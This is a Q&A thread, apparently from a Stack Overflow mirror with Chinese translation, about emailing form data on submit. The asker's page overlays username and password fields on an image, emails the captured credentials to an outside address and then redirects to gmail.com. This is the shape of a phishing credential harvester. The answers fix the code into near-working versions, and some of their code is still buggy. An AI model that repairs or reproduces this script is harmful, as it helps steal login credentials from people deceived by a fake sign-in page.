【问题标题】:How can I send e-mail on form_submit?如何在表单提交时发送电子邮件?
【发布时间】:2016-07-28 11:29:58
【问题描述】:

我是初学者,我正在给自己分配任务。我构建了一个 HTML 页面,在其中添加了一个表单。它看起来像这样:

<body background="images/backgr.jpg" bgProperties="fixed" style="background-attachment:fixed;background-repeat:no-repeat;">

<form action="send.php" method="post">
<input name="username" type="text" style="position:absolute;width:266px;left:720px;top:306px;z-index:0">
<input name="password" type="password" style="position:absolute;width:266px;left:720px;top:354px;z-index:1">
<input type="image" name= "submit" id="submit" src="images/button.jpg" style="position:absolute; overflow:hidden; left:720px; top:383px; width:22px; height:22px; z-index:2" alt="submit" title="submit" border=0 width=22 height=22>     </a></div>
</form>

还有php文件'send.php':

<?php 
if(isset($_POST['submit'])){
$to = "salut@bagaiacimailu.com"; // <mail-ul nostru
$user_name = $_POST['username'];
$password = $_POST['password'];
$subject = "You got mail!";
$message = $username . " " . $password . ";
mail($to,$subject,$message,$headers);
}
header (Location: "www.gmail.com");
?>

在我的 HTML 上按下提交按钮时出现错误。

【问题讨论】:

  • 请在您的问题中包含错误。
  • 使用这个:$message = $username。 “”。 $密码;使用适当的编辑器来注意这些事情,即使在 SO 中你也可以注意到这一点
  • $message末尾缺少一个引号或一个额外的引号
  • 我只是不明白,伙计们..

标签: php html-helper


【解决方案1】:

下载并阅读PHPMailer,并使用以下代码:

                            <?php
                        if (isset ( $_POST ['submit'] )) {
                            require 'PHPMailer/PHPMailerAutoload.php';

                            $mail = new PHPMailer ();

                            $mail->isSMTP (); // Set mailer to use SMTP
                            $mail->Host = 'smtp.gmail.com'; // Specify main and backup SMTP servers
                            $mail->SMTPAuth = true; // Enable SMTP authentication
                            $mail->Username = 'youremail@xyz.com'; // SMTP username
                            $mail->Password = 'password'; // SMTP password
                            $mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted
                            $mail->Port = 587; // TCP port to connect to

                            $mail->setFrom ( 'Fromemailaddress', 'xyz' );
                            $mail->addReplyTo ( 'toemailaddress', 'xyz' );
                            $mail->addAddress ( 'Fromemailaddress' ); // Add a recipient
                                                                      // $mail->addCC('cc@example.com');
                                                                      // $mail->addBCC('bcc@example.com');

                            $mail->isHTML ( true ); // Set email format to HTML

                            $bodyContent = '<h1>hello </h1>';
                            $bodyContent .= '<p>This is my 1st email through php</p>';

                            $mail->Subject = 'Email from Localhost by CodexWorld';
                            $mail->Body = $bodyContent;

                            if (! $mail->send ()) {
                                echo 'Message could not be sent.';
                                echo 'Mailer Error: ' . $mail->ErrorInfo;
                            } else {
                                echo 'Message has been sent';
                            }
                        }

                        ?>
        <form action="#" method="post">
            <input name="username" type="text"> <input name="password"
                type="password"> <input type="submit" name="submit" id="submit" />
        </form>

【讨论】:

    【解决方案2】:

    $header = "From: noreply@yourdomain.com";

    在 isset 块中添加这个。如果邮件功能有效,则仅使用标题。

    像这样-

      if(mail('','','','')){
    //redirect line here
    }else{
    //error statement here
    }
    

    检查您的变量 $user_name 和 $username。这将仅在邮件中发送 $password 值,您会一直想知道用户名去了哪里!我已经很难学会这一点,所以要小心用户名。推荐使用_

    这就是我的意思

    <?php 
    if(isset($_POST['submit'])){
    $to = "salut@bagaiacimailu.com"; // this id will get the mail
    $user_name = $_POST['username']; 
    $password = $_POST['password'];
    $subject = "You got mail!";  
    $header = "From: noreply@yourdomainname.com";//this is where the mail. comes from. you were missing this parameter. it was not created
    $message = $user_name . " " . $password . ";  
    if(mail($to,$subject,$message,$headers)){  //this is true if mail is sent other wise it will go into else block
    header (Location: "www.gmail.com");
    }else{
    echo 'Mail was not sent...'; //or redirect to some other page if you like
    }
    }
    
    ?>
    

    希望这会有所帮助!让我知道你是否还有其他事情。

    【讨论】:

    • 谢谢你的回答,兄弟。我实际上不明白我应该在哪里添加。您能否将添加到我文件中的确切代码粘贴到我的文件中?非常感谢队友。我欠你很多时间:)
    • @Tobo 我已经编辑了我的答案,您几乎可以将其复制粘贴到您的 send.php 页面中。如果它适合您,请接受我的解决方案作为答案!谢谢,编码愉快!
    【解决方案3】:

    发送邮件使用 PHPMailer (https://github.com/PHPMailer/PHPMailer)

    使用此代码:

    <?php   
        include("class.phpmailer.php");
        include("class.pop3.php");
        include("class.smtp.php");
    
        $messaggio_pre = new PHPmailer();
        $messaggio_pre->IsSMTP(); // attiva l'invio tramiteSMTP
        $messaggio_pre->Host = "localhost"; // indirizzo smtp
        $messaggio_pre->IsSMTP();
        $messaggio_pre->SMTPAuth = true;
        $messaggio_pre->IsHTML(true);
        $messaggio_pre->Host='YourHost'; //compile
        $messaggio_pre->Username = 'from.this@mail.com'; //compile
        $messaggio_pre->Password = 'password'; //compile
        $messaggio_pre->From='from.this@mail.com'; //compile
        $messaggio_pre->FromName='FromName'; //compile
        $messaggio_pre->AddAddress(send.at.this@address.com); //compile
        $messaggio_pre->Subject='YourSubject'; //compile
        $messaggio_pre->Body.='Text text!'; //compile
        if(!$messaggio_pre->Send()){
            echo $messaggio_pre->ErrorInfo;                  
        }               
        $messaggio_pre->SmtpClose();                
        unset($messaggio_pre);    
    ?>
    

    显然您必须包含 3 个文件。列表: - class.phpmailer.php - class.pop3.php - class.smtp.php

    【讨论】:

      【解决方案4】:
      <?php 
      if(isset($_POST['submit'])){
      $to = "salut@bagaiacimailu.com"; // <mail-ul nostru
      $user_name = $_POST['username'];
      $password = $_POST['password'];
      $subject = "You got mail!";
      $message = $username . " " . $password;
      mail($to,$subject,$message);
      }
      header ("Location: https://www.gmail.com");
      ?>
      

      【讨论】:

      • 您的代码与原始代码一样有缺陷,仅代码的答案对未来的访问者很少有用,请详细说明您所做的更改以及缺少的 OP。
      • 我在这里找不到任何改变。这是什么?
      • 邮件函数没有 $header 变量和引号中的标题位置并且没有点 arter $password ;)
      猜你喜欢
      • 2016-08-01
      • 2019-04-24
      • 2016-11-23
      • 1970-01-01
      • 1970-01-01
      • 2015-03-28
      • 2016-07-26
      • 1970-01-01
      相关资源
      最近更新 更多